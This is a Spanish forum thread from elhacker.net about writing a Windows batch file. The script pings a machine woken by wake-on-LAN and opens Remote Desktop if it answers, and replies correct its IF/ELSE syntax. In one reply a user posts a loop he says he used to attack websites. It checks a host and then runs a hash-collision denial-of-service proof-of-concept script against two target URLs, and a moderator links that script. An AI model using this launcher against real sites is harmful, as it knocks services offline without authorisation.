elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Solucionado]ping a maquina sino responde fail,si responde okay,start process
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Solucionado]ping a maquina sino responde fail,si responde okay,start process  (Leído 7,402 veces)
Anonymous250


Desconectado Desconectado

Mensajes: 467



Ver Perfil
[Solucionado]ping a maquina sino responde fail,si responde okay,start process
« en: 6 Julio 2012, 20:49 pm »

Hola es facilisimo creo ,es algo asi supongo ,que e estado mirando,a ver si lo saco en la tarde o mañana.

Código:
@echo off
set maquina=192.168.1.70
ping -n 1 %maquina% > nul
if errorlevel 1 echo fallo
else okey! & start
C:\WINDOWS\system32\mstsc.exe
exit
La finalidad de este bat,es que uso el wol magic packet sender(es un programa),para levantar un ordenador apagado,y ahi alguna vez que falla,y para no estar mirando a la otra habitacion,hago ping y asi se si esta encendido.
Y puedo controlarlo remotamente con el escritorio remoto de windows ,o bien con poner la ruta de cualquier otro programa tal como el vnc.


« Última modificación: 7 Julio 2012, 03:55 am por Anonymous250 » En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.878



Ver Perfil
Re: bat que haga ping a maquina sino responde fail,si responde okay, y start process
« Respuesta #1 en: 6 Julio 2012, 21:55 pm »

¿Y la sintaxis?
Código
  1. IF condición (esto) ELSE (aquello)
()

¿"Else okey!"? ¿Que comando es "Okey!"? :P

El comando "Start" no ejecuta nada, El argumento está vacío ya que colocas la ruta en la linea de abajo... No puedes poner las cosas a tu antojo donde quieras, Todo tiene un orden que seguir.

EDITO: Se agradece ver que lo has intentado por ti mismo antes de hacer la pregunta.

La corrección sería esta:
Código
  1. @Echo OFF
  2. set maquina=localhost
  3. ping -n 1 %maquina% > nul
  4. echo fallo
  5. ) else (
  6. Echo okey!
  7. start C:\WINDOWS\system32\mstsc.exe
  8. )


Y lo que te recomiendo que hagas es esto:
Código
  1. @Echo OFF
  2. set maquina=192.168.1.70
  3. Ping -n 1 %MAQUINA% >NUL 2>&1 && Echo Okey. && Start %WINDIR%\system32\mstsc.exe || (Echo Fallo) & Pause & Exit

Un saludo.


« Última modificación: 6 Julio 2012, 22:02 pm por EleKtro H@cker » En línea



Stakewinner00


Desconectado Desconectado

Mensajes: 1.426



Ver Perfil WWW
Re: bat que haga ping a maquina sino responde fail,si responde okay, y start process
« Respuesta #2 en: 7 Julio 2012, 00:12 am »

Cuelgo ak iun code k utilize para atacar unas webs nazis para dejar el pc encendido y k vaya atacando

Código
  1. @echo off
  2. :a
  3. ping hostname.com -l 1
  4. goto %ERRORLEVEL%
  5. :0
  6. echo ---------------------------------------------------
  7. echo ESTA VIVO
  8. HashtablePOC.py -u http://host.com/?page_id=1037
  9. HashtablePOC.py -u http://host.info/index.php?p=1_13_Spain -v -c 500 -t PHP
  10. -v -c 500 -t PHP
  11.  
  12. :1
  13. echo ---------------------------------------------------
  14. echo ESTA MUERTO
  15. pause>nul
« Última modificación: 7 Julio 2012, 00:24 am por EleKtro H@cker » En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.878



Ver Perfil
Re: bat que haga ping a maquina sino responde fail,si responde okay, y start process
« Respuesta #3 en: 7 Julio 2012, 00:22 am »

Cuelgo ak iun code k utilize para atacar unas webs nazis para dejar el pc encendido y k vaya atacando
Es un comentario fuera de lugar, Pero me ha hecho gracia xD, Ya no recordaba lo de las webs nazis xDDD  :P

PD: Faltaría el script de python (HashtablePOC.py) https://github.com/FireFart/HashCollision-DOS-POC/blob/master/HashtablePOC.py

saludos
En línea



Anonymous250


Desconectado Desconectado

Mensajes: 467



Ver Perfil
Re: bat que haga ping a maquina sino responde fail,si responde okay, y start process
« Respuesta #4 en: 7 Julio 2012, 03:53 am »

Jaja,sip EleKtro H@cker  me ha hecho gracia tu comentario   :xD,buen sentido del humor
¿"Else okey!"? ¿Que comando es "Okey!"? :P
Digamos que hice un esquema o un croquis,con la sintaxis mal de los comandos,doy fe de ello que los puse mal :laugh:

Muchas gracias a los dos por la ayuda,tomo nota ,y apuntes,  unos cracks  ;) ;D y por la pronta respuesta claro,doy el tema por solucionado.

Gracias y saludos.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines